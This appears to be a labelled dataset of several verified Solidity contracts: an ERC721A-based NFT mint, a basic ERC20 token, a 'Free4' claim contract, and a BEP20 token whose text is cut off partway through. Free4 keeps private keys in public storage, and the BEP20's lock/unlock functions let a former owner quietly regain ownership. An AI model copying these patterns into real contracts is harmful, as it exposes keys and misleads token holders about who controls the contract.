uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/s.sol
//Developer : FazelPejmanfar , Twitter :@Pejmanfarfazel
pragma solidity >=0.7.0 <0.9.0;
contract SmallBros is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.008 ether;
uint256 public maxSupply = 8888;
uint256 public FreeSupply = 888;
uint256 public MaxperWallet = 20;
uint256 public MaxperWalletFree = 10;
bool public paused = false;
bool public revealed = false;
constructor(
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721A("0xSmallBros", "0xSB") {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function _startTokenId() internal view virtual override returns (uint256) {
return 1;
}
// public
function mint(uint256 tokens) public payable nonReentrant {
require(!paused, "0xSB: oops contract is paused");
uint256 supply = totalSupply();
require(tokens > 0, "0xSB: need to mint at least 1 NFT");
require(tokens <= MaxperWallet, "0xSB: max mint amount per tx exceeded");
require(supply + tokens <= maxSupply, "0xSB: We Soldout");
require(_numberMinted(_msgSender()) + tokens <= MaxperWallet, "0xSB: Max NFT Per Wallet exceeded");
require(msg.value >= cost * tokens, "0xSB: insufficient funds");
_safeMint(_msgSender(), tokens);
}
function freemint(uint256 tokens) public payable nonReentrant {
require(!paused, "0xSB: oops contract is paused");
uint256 supply = totalSupply();
require(_numberMinted(_msgSender()) + tokens <= MaxperWalletFree, "0xSB: Max NFT Per Wallet exceeded");
require(tokens > 0, "0xSB: need to mint at least 1 NFT");
require(tokens <= MaxperWalletFree, "0xSB: max mint per Tx exceeded");
require(supply + tokens <= FreeSupply, "0xSB: Whitelist MaxSupply exceeded");
_safeMint(_msgSender(), tokens);
}
/// @dev use it for giveaway and mint for yourself
function gift(uint256 _mintAmount, address destination) public onlyOwner nonReentrant {
require(_mintAmount > 0, "need to mint at least 1 NFT");
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
_safeMint(destination, _mintAmount);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721AMetadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
//only owner
function reveal(bool _state) public onlyOwner {
revealed = _state;
}
function setMaxPerWallet(uint256 _limit) public onlyOwner {
MaxperWallet = _limit;
}
function setFreeMaxPerWallet(uint256 _limit) public onlyOwner {
MaxperWalletFree = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setMaxsupply(uint256 _newsupply) public onlyOwner {
maxSupply = _newsupply;
}
function setFreesupply(uint256 _newsupply) public onlyOwner {
FreeSupply = _newsupply;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner nonReentrant {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract CryptoIndex is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = " CryptoIndex ";
symbol = "CRI";
decimals = 3;
_totalSupply = 3000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-01-01
*/
// SPDX-License-Identifier: CC0
/*
/$$$$$$$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$ /$$
| $$_____/| $$__ $$| $$_____/| $$_____/ | $$ | $$
| $$ | $$ \ $$| $$ | $$ | $$ | $$
| $$$$$ | $$$$$$$/| $$$$$ | $$$$$ | $$$$$$$$
| $$__/ | $$__ $$| $$__/ | $$__/ |_____ $$
| $$ | $$ \ $$| $$ | $$ | $$
| $$ | $$ | $$| $$$$$$$$| $$$$$$$$ | $$
|__/ |__/ |__/|________/|________/ |__/
/$$
| $$
| $$$$$$$ /$$ /$$
| $$__ $$| $$ | $$
| $$ \ $$| $$ | $$
| $$ | $$| $$ | $$
| $$$$$$$/| $$$$$$$
|_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
/$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$
/$$__ $$|__ $$__/| $$_____/| $$ | $$|_ $$_/| $$_____/| $$__ $$
| $$ \__/ | $$ | $$ | $$ | $$ | $$ | $$ | $$ \ $$
| $$$$$$ | $$ | $$$$$ | $$ / $$/ | $$ | $$$$$ | $$$$$$$/
\____ $$ | $$ | $$__/ \ $$ $$/ | $$ | $$__/ | $$____/
/$$ \ $$ | $$ | $$ \ $$$/ | $$ | $$ | $$
| $$$$$$/ | $$ | $$$$$$$$ \ $/ /$$$$$$| $$$$$$$$| $$
\______/ |__/ |________/ \_/ |______/|________/|__/
CC0 2021
*/
pragma solidity ^0.8.11;
interface IFree {
function mint(uint256 collectionId, address to) external;
function ownerOf(uint256 tokenId) external returns (address owner);
function tokenIdToCollectionId(uint256 tokenId) external returns (uint256 collectionId);
function appendAttributeToToken(uint256 tokenId, string memory attrKey, string memory attrValue) external;
}
contract Free4 {
IFree public immutable free;
address public immutable minter;
address public immutable target;
string public minterPrivateKey;
string public targetPrivateKey;
mapping(uint256 => bool) public free0TokenIdUsed;
constructor(
address freeAddr,
address minterAddr,
address targetAddr,
string memory _minterPrivateKey,
string memory _targetPrivateKey
) {
free = IFree(freeAddr);
minter = minterAddr;
target = targetAddr;
minterPrivateKey = _minterPrivateKey;
targetPrivateKey = _targetPrivateKey;
}
function claim(uint256 free0TokenId) public {
require(msg.sender == minter, 'Only the minter can mint');
require(free.tokenIdToCollectionId(free0TokenId) == 0, 'Invalid Free0');
require(!free0TokenIdUsed[free0TokenId], 'This Free0 has already been used to mint a Free4');
require(free.ownerOf(free0TokenId) == msg.sender, 'You must be the owner of this Free0');
free0TokenIdUsed[free0TokenId] = true;
free.appendAttributeToToken(free0TokenId, 'Used For Free4 Mint', 'true');
free.mint(4, target);
}
}
|
True
|
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] |
/**
*Submitted for verification at BscScan.com on 2021-09-10
*/
// ________ .__ ___ ___ _________ .__
// / _____/_____ | | _____ ___ ______.__. / | \ ___________ ____ ____ ______ \_ ___ \ ____ |__| ____
// / \ ___\__ \ | | \__ \ \ \/ < | | / ~ \_/ __ \_ __ \/ _ \_/ __ \ / ___/ / \ \/ / _ \| |/ \
// \ \_\ \/ __ \| |__/ __ \_> < \___ | \ Y /\ ___/| | \( <_> ) ___/ \___ \ \ \___( <_> ) | | \
// \______ (____ /____(____ /__/\_ \/ ____| \___|_ / \___ >__| \____/ \___ >____ > \______ /\____/|__|___| /
// \/ \/ \/ \/\/ \/ \/ \/ \/ \/ \/
// https://t.me/galaxyheroescoin
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
// import "hardhat/console.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
